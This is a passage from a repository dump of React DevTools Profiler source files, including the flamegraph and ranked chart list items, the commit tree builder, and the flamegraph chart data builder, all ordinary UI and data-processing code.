ref={ref} {...rest}>\n    <defs>\n      <pattern\n        id=\"didNotRenderPattern\"\n        patternUnits=\"userSpaceOnUse\"\n        width=\"4\"\n        height=\"4\">\n        <path\n          d=\"M-1,1 l2,-2 M0,4 l4,-4 M3,5 l2,-2\"\n          className={styles.PatternPath}\n        />\n      </pattern>\n    </defs>\n    {children}\n  </svg>\n));\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/CommitFlamegraphListItem.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {Fragment, memo, useCallback, useContext} from 'react';\nimport {areEqual} from 'react-window';\nimport {barWidthThreshold} from './constants';\nimport {getGradientColor} from './utils';\nimport ChartNode from './ChartNode';\nimport {SettingsContext} from '../Settings/SettingsContext';\n\nimport type {ChartNode as ChartNodeType} from './FlamegraphChartBuilder';\nimport type {ItemData} from './CommitFlamegraph';\nimport typeof {SyntheticMouseEvent} from 'react-dom-bindings/src/events/SyntheticEvent';\n\ntype Props = {\n  data: ItemData,\n  index: number,\n  style: Object,\n  ...\n};\n\nfunction CommitFlamegraphListItem({data, index, style}: Props): React.Node {\n  const {\n    chartData,\n    onElementMouseEnter,\n    onElementMouseLeave,\n    scaleX,\n    selectedChartNode,\n    selectedChartNodeIndex,\n    selectFiber,\n    width,\n  } = data;\n  const {renderPathNodes, maxSelfDuration, rows} = chartData;\n\n  const {lineHeight} = useContext(SettingsContext);\n\n  const handleClick = useCallback(\n    (event: SyntheticMouseEvent, id: number, name: string) => {\n      event.stopPropagation();\n      selectFiber(id, name);\n    },\n    [selectFiber],\n  );\n\n  const handleMouseEnter = (nodeData: ChartNodeType) => {\n    const {id, name} = nodeData;\n    onElementMouseEnter({id, name});\n  };\n\n  const handleMouseLeave = () => {\n    onElementMouseLeave();\n  };\n\n  // List items are absolutely positioned using the CSS \"top\" attribute.\n  // The \"left\" value will always be 0.\n  // Since height is fixed, and width is based on the node's duration,\n  // We can ignore those values as well.\n  const top = parseInt(style.top, 10);\n\n  const row = rows[index];\n\n  const selectedNodeOffset = scaleX(\n    selectedChartNode !== null ? selectedChartNode.offset : 0,\n    width,\n  );\n\n  return (\n    <Fragment>\n      {row.map(chartNode => {\n        const {\n          didRender,\n          id,\n          label,\n          name,\n          offset,\n          selfDuration,\n          treeBaseDuration,\n        } = chartNode;\n\n        const nodeOffset = scaleX(offset, width);\n        const nodeWidth = scaleX(treeBaseDuration, width);\n\n        // Filter out nodes that are too small to see or click.\n        // This also helps render large trees faster.\n        if (nodeWidth < barWidthThreshold) {\n          return null;\n        }\n\n        // Filter out nodes that are outside of the horizontal window.\n        if (\n          nodeOffset + nodeWidth < selectedNodeOffset ||\n          nodeOffset > selectedNodeOffset + width\n        ) {\n          return null;\n        }\n\n        let color = 'url(#didNotRenderPattern)';\n        let textColor = 'var(--color-commit-did-not-render-pattern-text)';\n        if (didRender) {\n          color = getGradientColor(selfDuration / maxSelfDuration);\n          textColor = 'var(--color-commit-gradient-text)';\n        } else if (renderPathNodes.has(id)) {\n          color = 'var(--color-commit-did-not-render-fill)';\n          textColor = 'var(--color-commit-did-not-render-fill-text)';\n        }\n\n        return (\n          <ChartNode\n            color={color}\n            height={lineHeight}\n            isDimmed={index < selectedChartNodeIndex}\n            key={id}\n            label={label}\n            onClick={event => handleClick(event, id, name)}\n            onMouseEnter={() => handleMouseEnter(chartNode)}\n            onMouseLeave={handleMouseLeave}\n            textStyle={{color: textColor}}\n            width={nodeWidth}\n            x={nodeOffset - selectedNodeOffset}\n            y={top}\n          />\n        );\n      })}\n    </Fragment>\n  );\n}\n\nexport default (memo(CommitFlamegraphListItem, areEqual): component(\n  ...props: Props\n));\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/CommitRanked.css",
    "content": ".Container {\n  width: 100%;\n  flex: 1;\n  padding: 0.5rem;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/CommitRanked.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {useCallback, useContext, useMemo, useState} from 'react';\nimport AutoSizer from 'react-virtualized-auto-sizer';\nimport {FixedSizeList} from 'react-window';\nimport {ProfilerContext} from './ProfilerContext';\nimport NoCommitData from './NoCommitData';\nimport CommitRankedListItem from './CommitRankedListItem';\nimport HoveredFiberInfo from './HoveredFiberInfo';\nimport {scale} from './utils';\nimport {StoreContext} from '../context';\nimport {SettingsContext} from '../Settings/SettingsContext';\nimport {useHighlightHostInstance} from '../hooks';\nimport Tooltip from './Tooltip';\n\nimport styles from './CommitRanked.css';\n\nimport type {TooltipFiberData} from './HoveredFiberInfo';\nimport type {ChartData} from './RankedChartBuilder';\nimport type {CommitTree} from './types';\n\nexport type ItemData = {\n  chartData: ChartData,\n  onElementMouseEnter: (fiberData: TooltipFiberData) => void,\n  onElementMouseLeave: () => void,\n  scaleX: (value: number, fallbackValue: number) => number,\n  selectedFiberID: number | null,\n  selectedFiberIndex: number,\n  selectFiber: (id: number | null, name: string | null) => void,\n  width: number,\n};\n\nexport default function CommitRankedAutoSizer(_: {}): React.Node {\n  const {profilerStore} = useContext(StoreContext);\n  const {rootID, selectedCommitIndex, selectFiber} =\n    useContext(ProfilerContext);\n  const {profilingCache} = profilerStore;\n\n  const deselectCurrentFiber = useCallback(\n    (event: $FlowFixMe) => {\n      event.stopPropagation();\n      selectFiber(null, null);\n    },\n    [selectFiber],\n  );\n\n  let commitTree: CommitTree | null = null;\n  let chartData: ChartData | null = null;\n  if (selectedCommitIndex !== null) {\n    commitTree = profilingCache.getCommitTree({\n      commitIndex: selectedCommitIndex,\n      rootID: ((rootID: any): number),\n    });\n\n    chartData = profilingCache.getRankedChartData({\n      commitIndex: selectedCommitIndex,\n      commitTree,\n      rootID: ((rootID: any): number),\n    });\n  }\n\n  if (commitTree != null && chartData != null && chartData.nodes.length > 0) {\n    return (\n      <div className={styles.Container} onClick={deselectCurrentFiber}>\n        <AutoSizer>\n          {({height, width}) => (\n            <CommitRanked\n              chartData={((chartData: any): ChartData)}\n              commitTree={((commitTree: any): CommitTree)}\n              height={height}\n              width={width}\n            />\n          )}\n        </AutoSizer>\n      </div>\n    );\n  } else {\n    return <NoCommitData />;\n  }\n}\n\ntype Props = {\n  chartData: ChartData,\n  commitTree: CommitTree,\n  height: number,\n  width: number,\n};\n\nfunction CommitRanked({chartData, commitTree, height, width}: Props) {\n  const [hoveredFiberData, setHoveredFiberData] =\n    useState<TooltipFiberData | null>(null);\n  const {lineHeight} = useContext(SettingsContext);\n  const {selectedFiberID, selectFiber} = useContext(ProfilerContext);\n  const {highlightHostInstance, clearHighlightHostInstance} =\n    useHighlightHostInstance();\n\n  const selectedFiberIndex = useMemo(\n    () => getNodeIndex(chartData, selectedFiberID),\n    [chartData, selectedFiberID],\n  );\n\n  const handleElementMouseEnter = useCallback(\n    ({id, name}: $FlowFixMe) => {\n      highlightHostInstance(id); // Highlight last hovered element.\n      setHoveredFiberData({id, name}); // Set hovered fiber data for tooltip\n    },\n    [highlightHostInstance],\n  );\n\n  const handleElementMouseLeave = useCallback(() => {\n    clearHighlightHostInstance(); // clear highlighting of element on mouse leave\n    setHoveredFiberData(null); // clear hovered fiber data for tooltip\n  }, [clearHighlightHostInstance]);\n\n  const itemData = useMemo<ItemData>(\n    () => ({\n      chartData,\n      onElementMouseEnter: handleElementMouseEnter,\n      onElementMouseLeave: handleElementMouseLeave,\n      scaleX: scale(0, chartData.nodes[selectedFiberIndex].value, 0, width),\n      selectedFiberID,\n      selectedFiberIndex,\n      selectFiber,\n      width,\n    }),\n    [\n      chartData,\n      handleElementMouseEnter,\n      handleElementMouseLeave,\n      selectedFiberID,\n      selectedFiberIndex,\n      selectFiber,\n      width,\n    ],\n  );\n\n  // Tooltip used to show summary of fiber info on hover\n  const tooltipLabel = useMemo(\n    () =>\n      hoveredFiberData !== null ? (\n        <HoveredFiberInfo fiberData={hoveredFiberData} />\n      ) : null,\n    [hoveredFiberData],\n  );\n\n  return (\n    <Tooltip label={tooltipLabel}>\n      <FixedSizeList\n        height={height}\n        innerElementType=\"svg\"\n        itemCount={chartData.nodes.length}\n        itemData={itemData}\n        itemSize={lineHeight}\n        width={width}>\n        {CommitRankedListItem}\n      </FixedSizeList>\n    </Tooltip>\n  );\n}\n\nconst getNodeIndex = (chartData: ChartData, id: number | null): number => {\n  if (id === null) {\n    return 0;\n  }\n  const {nodes} = chartData;\n  for (let index = 0; index < nodes.length; index++) {\n    if (nodes[index].id === id) {\n      return index;\n    }\n  }\n  return 0;\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/CommitRankedListItem.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport {memo, useCallback, useContext} from 'react';\nimport {areEqual} from 'react-window';\nimport {minBarWidth} from './constants';\nimport {getGradientColor} from './utils';\nimport ChartNode from './ChartNode';\nimport {SettingsContext} from '../Settings/SettingsContext';\n\nimport type {ItemData} from './CommitRanked';\n\ntype Props = {\n  data: ItemData,\n  index: number,\n  style: Object,\n};\n\nfunction CommitRankedListItem({data, index, style}: Props) {\n  const {\n    chartData,\n    onElementMouseEnter,\n    onElementMouseLeave,\n    scaleX,\n    selectedFiberIndex,\n    selectFiber,\n    width,\n  } = data;\n\n  const node = chartData.nodes[index];\n\n  const {lineHeight} = useContext(SettingsContext);\n\n  const handleClick = useCallback(\n    (event: $FlowFixMe) => {\n      event.stopPropagation();\n      const {id, name} = node;\n      selectFiber(id, name);\n    },\n    [node, selectFiber],\n  );\n\n  const handleMouseEnter = () => {\n    const {id, name} = node;\n    onElementMouseEnter({id, name});\n  };\n\n  const handleMouseLeave = () => {\n    onElementMouseLeave();\n  };\n\n  // List items are absolutely positioned using the CSS \"top\" attribute.\n  // The \"left\" value will always be 0.\n  // Since height is fixed, and width is based on the node's duration,\n  // We can ignore those values as well.\n  const top = parseInt(style.top, 10);\n\n  return (\n    <ChartNode\n      color={getGradientColor(node.value / chartData.maxValue)}\n      height={lineHeight}\n      isDimmed={index < selectedFiberIndex}\n      key={node.id}\n      label={node.label}\n      onClick={handleClick}\n      onMouseEnter={handleMouseEnter}\n      onMouseLeave={handleMouseLeave}\n      width={Math.max(minBarWidth, scaleX(node.value, width))}\n      x={0}\n      y={top}\n    />\n  );\n}\n\nexport default (memo(CommitRankedListItem, areEqual): component(\n  ...props: Props\n));\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/CommitTreeBuilder.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  __DEBUG__,\n  TREE_OPERATION_ADD,\n  TREE_OPERATION_REMOVE,\n  TREE_OPERATION_REORDER_CHILDREN,\n  TREE_OPERATION_SET_SUBTREE_MODE,\n  TREE_OPERATION_UPDATE_TREE_BASE_DURATION,\n  TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS,\n  TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE,\n  SUSPENSE_TREE_OPERATION_ADD,\n  SUSPENSE_TREE_OPERATION_REMOVE,\n  SUSPENSE_TREE_OPERATION_REORDER_CHILDREN,\n  SUSPENSE_TREE_OPERATION_RESIZE,\n  SUSPENSE_TREE_OPERATION_SUSPENDERS,\n} from 'react-devtools-shared/src/constants';\nimport {\n  parseElementDisplayNameFromBackend,\n  utfDecodeStringWithRanges,\n} from 'react-devtools-shared/src/utils';\nimport {ElementTypeRoot} from 'react-devtools-shared/src/frontend/types';\nimport ProfilerStore from 'react-devtools-shared/src/devtools/ProfilerStore';\n\nimport type {ElementType} from 'react-devtools-shared/src/frontend/types';\nimport type {\n  CommitTree,\n  CommitTreeNode,\n  ProfilingDataForRootFrontend,\n} from 'react-devtools-shared/src/devtools/views/Profiler/types';\n\nconst debug = (methodName: string, ...args: Array<string>) => {\n  if (__DEBUG__) {\n    console.log(\n      `%cCommitTreeBuilder %c${methodName}`,\n      'color: pink; font-weight: bold;',\n      'font-weight: bold;',\n      ...args,\n    );\n  }\n};\n\nconst rootToCommitTreeMap: Map<number, Array<CommitTree>> = new Map();\n\nexport function getCommitTree({\n  commitIndex,\n  profilerStore,\n  rootID,\n}: {\n  commitIndex: number,\n  profilerStore: ProfilerStore,\n  rootID: number,\n}): CommitTree {\n  if (!rootToCommitTreeMap.has(rootID)) {\n    rootToCommitTreeMap.set(rootID, []);\n  }\n\n  const commitTrees = ((rootToCommitTreeMap.get(\n    rootID,\n  ): any): Array<CommitTree>);\n  if (commitIndex < commitTrees.length) {\n    return commitTrees[commitIndex];\n  }\n\n  const {profilingData} = profilerStore;\n  if (profilingData === null) {\n    throw Error(`No profiling data available`);\n  }\n\n  const dataForRoot = profilingData.dataForRoots.get(rootID);\n  if (dataForRoot == null) {\n    throw Error(`Could not find profiling data for root \"${rootID}\"`);\n  }\n\n  const {operations} = dataForRoot;\n  if (operations.length <= commitIndex) {\n    throw Error(\n      `getCommitTree(): Invalid commit \"${commitIndex}\" for root \"${rootID}\". There are only \"${operations.length}\" commits.`,\n    );\n  }\n\n  let commitTree: CommitTree = ((null: any): CommitTree);\n  for (let index = commitTrees.length; index <= commitIndex; index++) {\n    // Commits are generated sequentially and cached.\n    // If this is the very first commit, start with the cached snapshot and apply the first mutation.\n    // Otherwise load (or generate) the previous commit and append a mutation to it.\n    if (index === 0) {\n      const nodes = new Map<number, CommitTreeNode>();\n\n      // Construct the initial tree.\n      recursivelyInitializeTree(rootID, 0, nodes, dataForRoot);\n\n      // Mutate the tree\n      if (operations != null && index < operations.length) {\n        commitTree = updateTree({nodes, rootID}, operations[index]);\n\n        if (__DEBUG__) {\n          __printTree(commitTree);\n        }\n\n        commitTrees.push(commitTree);\n      }\n    } else {\n      const previousCommitTree = commitTrees[index - 1];\n      commitTree = updateTree(previousCommitTree, operations[index]);\n\n      if (__DEBUG__) {\n        __printTree(commitTree);\n      }\n\n      commitTrees.push(commitTree);\n    }\n  }\n\n  return commitTree;\n}\n\nfunction recursivelyInitializeTree(\n  id: number,\n  parentID: number,\n  nodes: Map<number, CommitTreeNode>,\n  dataForRoot: ProfilingDataForRootFrontend,\n): void {\n  const node = dataForRoot.snapshots.get(id);\n  if (node != null) {\n    nodes.set(id, {\n      id,\n      children: node.children,\n      displayName: node.displayName,\n      hocDisplayNames: node.hocDisplayNames,\n      key: node.key,\n      parentID,\n      treeBaseDuration: ((dataForRoot.initialTreeBaseDurations.get(\n        id,\n      ): any): number),\n      type: node.type,\n      compiledWithForget: node.compiledWithForget,\n    });\n\n    node.children.forEach(childID =>\n      recursivelyInitializeTree(childID, id, nodes, dataForRoot),\n    );\n  }\n}\n\nfunction updateTree(\n  commitTree: CommitTree,\n  operations: Array<number>,\n): CommitTree {\n  // Clone the original tree so edits don't affect it.\n  const nodes = new Map(commitTree.nodes);\n\n  // Clone nodes before mutating them so edits don't affect them.\n  const getClonedNode = (id: number): CommitTreeNode => {\n    const existingNode = nodes.get(id);\n    if (existingNode == null) {\n      throw new Error(\n        `Could not clone the node: commit tree does not contain fiber \"${id}\". This is a bug in React DevTools.`,\n      );\n    }\n\n    const clonedNode = {...existingNode};\n    nodes.set(id, clonedNode);\n    return clonedNode;\n  };\n\n  let i = 2;\n  let id: number = ((null: any): number);\n\n  // Reassemble the string table.\n  const stringTable: Array<null | string> = [\n    null, // ID = 0 corresponds to the null string.\n  ];\n  const stringTableSize = operations[i++];\n  const stringTableEnd = i + stringTableSize;\n  while (i < stringTableEnd) {\n    const nextLength = operations[i++];\n    const nextString = utfDecodeStringWithRanges(\n      operations,\n      i,\n      i + nextLength - 1,\n    );\n    stringTable.push(nextString);\n    i += nextLength;\n  }\n\n  while (i < operations.length) {\n    const operation = operations[i];\n\n    switch (operation) {\n      case TREE_OPERATION_ADD: {\n        id = ((operations[i + 1]: any): number);\n        const type = ((operations[i + 2]: any): ElementType);\n\n        i += 3;\n\n        if (nodes.has(id)) {\n          throw new Error(\n            `Commit tree already contains fiber \"${id}\". This is a bug in React DevTools.`,\n          );\n        }\n\n        if (type === ElementTypeRoot) {\n          i++; // isStrictModeCompliant\n          i++; // Profiling flag\n          i++; // supportsStrictMode flag\n          i++; // hasOwnerMetadata flag\n\n          if (__DEBUG__) {\n            debug('Add', `new root fiber ${id}`);\n          }\n\n          const node: CommitTreeNode = {\n            children: [],\n            displayName: null,\n            hocDisplayNames: null,\n            id,\n            key: null,\n            parentID: 0,\n            treeBaseDuration: 0, // This will be updated by a subsequent operation\n            type,\n            compiledWithForget: false,\n          };\n\n          nodes.set(id, node);\n        } else {\n          const parentID = ((operations[i]: any): number);\n          i++;\n\n          i++; // ownerID\n\n          const displayNameStringID = operations[i];\n          const displayName = stringTable[displayNameStringID];\n          i++;\n\n          const keyStringID = operations[i];\n          const key = stringTable[keyStringID];\n          i++;\n\n          // skip name prop\n          i++;\n\n          if (__DEBUG__) {\n            debug(\n              'Add',\n              `fiber ${id} (${displayName || 'null'}) as child of ${parentID}`,\n            );\n          }\n\n          const parentNode = getClonedNode(parentID);\n          parentNode.children = parentNode.children.concat(id);\n\n          const {formattedDisplayName, hocDisplayNames, compiledWithForget} =\n            parseElementDisplayNameFromBackend(displayName, type);\n\n          const node: CommitTreeNode = {\n            children: [],\n            displayName: formattedDisplayName,\n            hocDisplayNames: hocDisplayNames,\n            id,\n            key,\n            parentID,\n            treeBaseDuration: 0, // This will be updated by a subsequent operation\n            type,\n            compiledWithForget,\n          };\n\n          nodes.set(id, node);\n        }\n\n        break;\n      }\n      case TREE_OPERATION_REMOVE: {\n        const removeLength = ((operations[i + 1]: any): number);\n        i += 2;\n\n        for (let removeIndex = 0; removeIndex < removeLength; removeIndex++) {\n          id = ((operations[i]: any): number);\n          i++;\n\n          if (!nodes.has(id)) {\n            throw new Error(\n              `Commit tree does not contain fiber \"${id}\". This is a bug in React DevTools.`,\n            );\n          }\n\n          const node = getClonedNode(id);\n          const parentID = node.parentID;\n\n          nodes.delete(id);\n\n          if (!nodes.has(parentID)) {\n            // No-op\n          } else {\n            const parentNode = getClonedNode(parentID);\n\n            if (__DEBUG__) {\n              debug('Remove', `fiber ${id} from parent ${parentID}`);\n            }\n\n            parentNode.children = parentNode.children.filter(\n              childID => childID !== id,\n            );\n          }\n        }\n        break;\n      }\n      case TREE_OPERATION_REORDER_CHILDREN: {\n        id = ((operations[i + 1]: any): number);\n        const numChildren = ((operations[i + 2]: any): number);\n        const children = ((operations.slice(\n          i + 3,\n          i + 3 + numChildren,\n        ): any): Array<number>);\n\n        i = i + 3 + numChildren;\n\n        if (__DEBUG__) {\n          debug('Re-order', `fiber ${id} children ${children.join(',')}`);\n        }\n\n        const node = getClonedNode(id);\n        node.children = Array.from(children);\n\n        break;\n      }\n      case TREE_OPERATION_SET_SUBTREE_MODE: {\n        id = operations[i + 1];\n        const mode = operations[i + 1];\n\n        i += 3;\n\n        if (__DEBUG__) {\n          debug('Subtree mode', `Subtree with root ${id} set to mode ${mode}`);\n        }\n        break;\n      }\n      case TREE_OPERATION_UPDATE_TREE_BASE_DURATION: {\n        id = operations[i + 1];\n\n        const node = getClonedNode(id);\n        node.treeBaseDuration = operations[i + 2] / 1000; // Convert microseconds back to milliseconds;\n\n        if (__DEBUG__) {\n          debug(\n            'Update',\n            `fiber ${id} treeBaseDuration to ${node.treeBaseDuration}`,\n          );\n        }\n\n        i += 3;\n        break;\n      }\n      case TREE_OPERATION_UPDATE_ERRORS_OR_WARNINGS: {\n        id = operations[i + 1];\n        const numErrors = operations[i + 2];\n        const numWarnings = operations[i + 3];\n\n        i += 4;\n\n        if (__DEBUG__) {\n          debug(\n            'Warnings and Errors update',\n            `fiber ${id} has ${numErrors} errors and ${numWarnings} warnings`,\n          );\n        }\n        break;\n      }\n\n      case SUSPENSE_TREE_OPERATION_ADD: {\n        const fiberID = operations[i + 1];\n        const parentID = operations[i + 2];\n        const nameStringID = operations[i + 3];\n        const isSuspended = operations[i + 4];\n        const numRects = operations[i + 5];\n        const name = stringTable[nameStringID];\n\n        if (__DEBUG__) {\n          let rects: string;\n          if (numRects === -1) {\n            rects = 'null';\n          } else {\n            rects =\n              '[' +\n              operations.slice(i + 6, i + 6 + numRects * 4).join(',') +\n              ']';\n          }\n          debug(\n            'Add suspense',\n            `node ${fiberID} (name=${JSON.stringify(name)}, rects={${rects}}) under ${parentID} suspended ${isSuspended}`,\n          );\n        }\n\n        i += 6 + (numRects === -1 ? 0 : numRects * 4);\n        break;\n      }\n\n      case SUSPENSE_TREE_OPERATION_REMOVE: {\n        const removeLength = ((operations[i + 1]: any): number);\n        i += 2 + removeLength;\n\n        break;\n      }\n\n      case SUSPENSE_TREE_OPERATION_REORDER_CHILDREN: {\n        const suspenseID = ((operations[i + 1]: any): number);\n        const numChildren = ((operations[i + 2]: any): number);\n        const children = ((operations.slice(\n          i + 3,\n          i + 3 + numChildren,\n        ): any): Array<number>);\n\n        i = i + 3 + numChildren;\n\n        if (__DEBUG__) {\n          debug(\n            'Suspense re-order',\n            `suspense ${suspenseID} children ${children.join(',')}`,\n          );\n        }\n\n        break;\n      }\n\n      case SUSPENSE_TREE_OPERATION_RESIZE: {\n        const suspenseID = ((operations[i + 1]: any): number);\n        const numRects = ((operations[i + 2]: any): number);\n\n        if (__DEBUG__) {\n          if (numRects === -1) {\n            debug('Suspense resize', `suspense ${suspenseID} rects null`);\n          } else {\n            const rects = ((operations.slice(\n              i + 3,\n              i + 3 + numRects * 4,\n            ): any): Array<number>);\n            debug(\n              'Suspense resize',\n              `suspense ${suspenseID} rects [${rects.join(',')}]`,\n            );\n          }\n        }\n\n        i += 3 + (numRects === -1 ? 0 : numRects * 4);\n\n        break;\n      }\n\n      case SUSPENSE_TREE_OPERATION_SUSPENDERS: {\n        i++;\n        const changeLength = ((operations[i++]: any): number);\n\n        for (let changeIndex = 0; changeIndex < changeLength; changeIndex++) {\n          const suspenseNodeId = operations[i++];\n          const hasUniqueSuspenders = operations[i++] === 1;\n          const endTime = operations[i++] / 1000;\n          const isSuspended = operations[i++] === 1;\n          const environmentNamesLength = operations[i++];\n          i += environmentNamesLength;\n          if (__DEBUG__) {\n            debug(\n              'Suspender changes',\n              `Suspense node ${suspenseNodeId} unique suspenders set to ${String(hasUniqueSuspenders)} ending at ${String(endTime)} is suspended set to ${String(isSuspended)} with ${String(environmentNamesLength)} environments`,\n            );\n          }\n        }\n\n        break;\n      }\n\n      case TREE_OPERATION_APPLIED_ACTIVITY_SLICE_CHANGE: {\n        i++;\n        const activitySliceIDChange = operations[i++];\n        if (__DEBUG__) {\n          debug(\n            'Applied activity slice change',\n            activitySliceIDChange === 0\n              ? 'Reset applied activity slice'\n              : `Changed to activity slice ID ${activitySliceIDChange}`,\n          );\n        }\n        break;\n      }\n\n      default:\n        throw Error(`Unsupported Bridge operation \"${operation}\"`);\n    }\n  }\n\n  return {\n    nodes,\n    rootID: commitTree.rootID,\n  };\n}\n\nexport function invalidateCommitTrees(): void {\n  rootToCommitTreeMap.clear();\n}\n\n// DEBUG\nconst __printTree = (commitTree: CommitTree) => {\n  if (__DEBUG__) {\n    const {nodes, rootID} = commitTree;\n    console.group('__printTree()');\n    const queue = [rootID, 0];\n    while (queue.length > 0) {\n      const id = queue.shift();\n      const depth = queue.shift();\n\n      // $FlowFixMe[incompatible-call]\n      const node = nodes.get(id);\n      if (node == null) {\n        // $FlowFixMe[incompatible-type]\n        throw Error(`Could not find node with id \"${id}\" in commit tree`);\n      }\n\n      console.log(\n        // $FlowFixMe[incompatible-call]\n        `${'•'.repeat(depth)}${node.id}:${node.displayName || ''} ${\n          node.key ? `key:\"${node.key}\"` : ''\n        } (${node.treeBaseDuration})`,\n      );\n\n      node.children.forEach(childID => {\n        // $FlowFixMe[unsafe-addition]\n        queue.push(childID, depth + 1);\n      });\n    }\n    console.groupEnd();\n  }\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/FlamegraphChartBuilder.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {formatDuration} from './utils';\nimport ProfilerStore from 'react-devtools-shared/src/devtools/ProfilerStore';\n\nimport type {CommitTree} from './types';\n\nexport type ChartNode = {\n  actualDuration: number,\n  didRender: boolean,\n  id: number,\n  label: string,\n  name: string,\n  offset: number,\n  selfDuration: number,\n  treeBaseDuration: number,\n};\n\nexport type ChartData = {\n  baseDuration: number,\n  depth: number,\n  idToDepthMap: Map<number, number>,\n  maxSelfDuration: number,\n  renderPathNodes: Set<number>,\n  rows: Array<Array<ChartNode>>,\n};\n\nconst cachedChartData: Map<string, ChartData> = new Map();\n\nexport function getChartData({\n  commitIndex,\n  commitTree,\n  profilerStore,\n  rootID,\n}: {\n  commitIndex: number,\n  commitTree: CommitTree,\n  profilerStore: ProfilerStore,\n  rootID: number,\n}): ChartData {\n  const commitDatum = profilerStore.getCommitData(rootID, commitIndex);\n\n  const {fiberActualDurations, fiberSelfDurations} = commitDatum;\n  const {nodes} = commitTree;\n\n  const chartDataKey = `${rootID}-${commitIndex}`;\n  if (cachedChartData.has(chartDataKey)) {\n    return ((cachedChartData.get(chartDataKey): any): ChartData);\n  }\n\n  const idToDepthMap: Map<number, number> = new Map();\n  const renderPathNodes: Set<number> = new Set();\n  const rows: Array<Array<ChartNode>> = [];\n\n  let maxDepth = 0;\n  let maxSelfDuration = 0;\n\n  // Generate flame graph structure using tree base durations.\n  const walkTree = (\n    id: number,\n    rightOffset: number,\n    currentDepth: number,\n  ): ChartNode => {\n    idToDepthMap.set(id, currentDepth);\n\n    const node = nodes.get(id);\n    if (node == null) {\n      throw Error(`Could not find node with id \"${id}\" in commit tree`);\n    }\n\n    const {\n      children,\n      displayName,\n      hocDisplayNames,\n      key,\n      treeBaseDuration,\n      compiledWithForget,\n    } = node;\n\n    const actualDuration = fiberActualDurations.get(id) || 0;\n    const selfDuration = fiberSelfDurations.get(id) || 0;\n    const didRender = fiberActualDurations.has(id);\n\n    const name = displayName || 'Anonymous';\n    const maybeKey = key !== null ? ` key=\"${key}\"` : '';\n\n    let maybeBadge = '';\n    const maybeForgetBadge = compiledWithForget ? '✨ ' : '';\n\n    if (hocDisplayNames !== null && hocDisplayNames.length > 0) {\n      maybeBadge = ` (${hocDisplayNames[0]})`;\n    }\n\n    let label = `${maybeForgetBadge}${name}${maybeBadge}${maybeKey}`;\n    if (didRender) {\n      label += ` (${formatDuration(selfDuration)}ms of ${formatDuration(\n        actualDuration,\n      )}ms)`;\n    }\n\n    maxDepth = Math.max(maxDepth, currentDepth);\n    maxSelfDuration = Math.max(maxSelfDuration, selfDuration);\n\n    const chartNode: ChartNode = {\n      actualDuration,\n      didRender,\n      id,\n      label,\n      name,\n      offset: rightOffset - treeBaseDuration,\n      selfDuration,\n      treeBaseDuration,\n    };\n\n    if (currentDepth > rows.length) {\n      rows.push([chartNode]);\n    } else {\n      rows[currentDepth - 1].push(chartNode);\n    }\n\n    for (let i = children.length - 1; i >= 0; i--) {\n      const childID = children[i];\n      const childChartNode: $FlowFixMe = walkTree(\n        childID,\n        rightOffset,\n        currentDepth + 1,\n      );\n      rightOffset -= childChartNode.treeBaseDuration;\n    }\n\n    return chartNode;\n  };\n\n  let baseDuration = 0;\n\n  // Special case to handle unmounted roots.\n  if (nodes.size > 0) {\n    // Skip over the root; we don't want to show it in the flamegraph.\n    const root = nodes.get(rootID);\n    if (root == null) {\n      throw Error(\n        `Could not find root node with id \"${rootID}\" in commit tree`,\n      );\n    }\n\n    // Don't assume a single root.\n    // Component filters or Fragments might lead to multiple \"roots\" in a flame graph.\n    for (let i = root.children.length - 1; i >= 0; i--) {\n      const id = root.children[i];\n      const node = nodes.get(id);\n      if (node == null) {\n        throw Error(`Could not find node with id \"${id}\" in commit tree`);\n      }\n      baseDuration += node.treeBaseDuration;\n      walkTree(id, baseDuration, 1);\n    }\n\n    fiberActualDurations.forEach((duration, id) => {\n      let node = nodes.get(id);\n      if (node != null) {\n        let currentID = node.parentID;\n        while (currentID !== 0) {\n          if (renderPathNodes.has(currentID)) {\n            // We've already walked this path; we can skip it.\n            break;\n          } else {\n            renderPathNodes.add(currentID);\n          }\n\n          node = nodes.get(currentID);\n          currentID = node != null ? node.parentID : 0;\n        }\n      }\n    });\n  }\n\n  const chartData = {\n    baseDuration,\n    depth: maxDepth,\n    idToDepthMap,\n    maxSelfDuration,\n    renderPathNodes,\n    rows,\n  };\n\n  cachedChartData.set(chartDataKey, chartData);\n\n  return chartData;\n}\n\nexport function invalidateChartData(): void {\n  cachedChartData.clear();\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Profiler/HookChangeSummary.css",
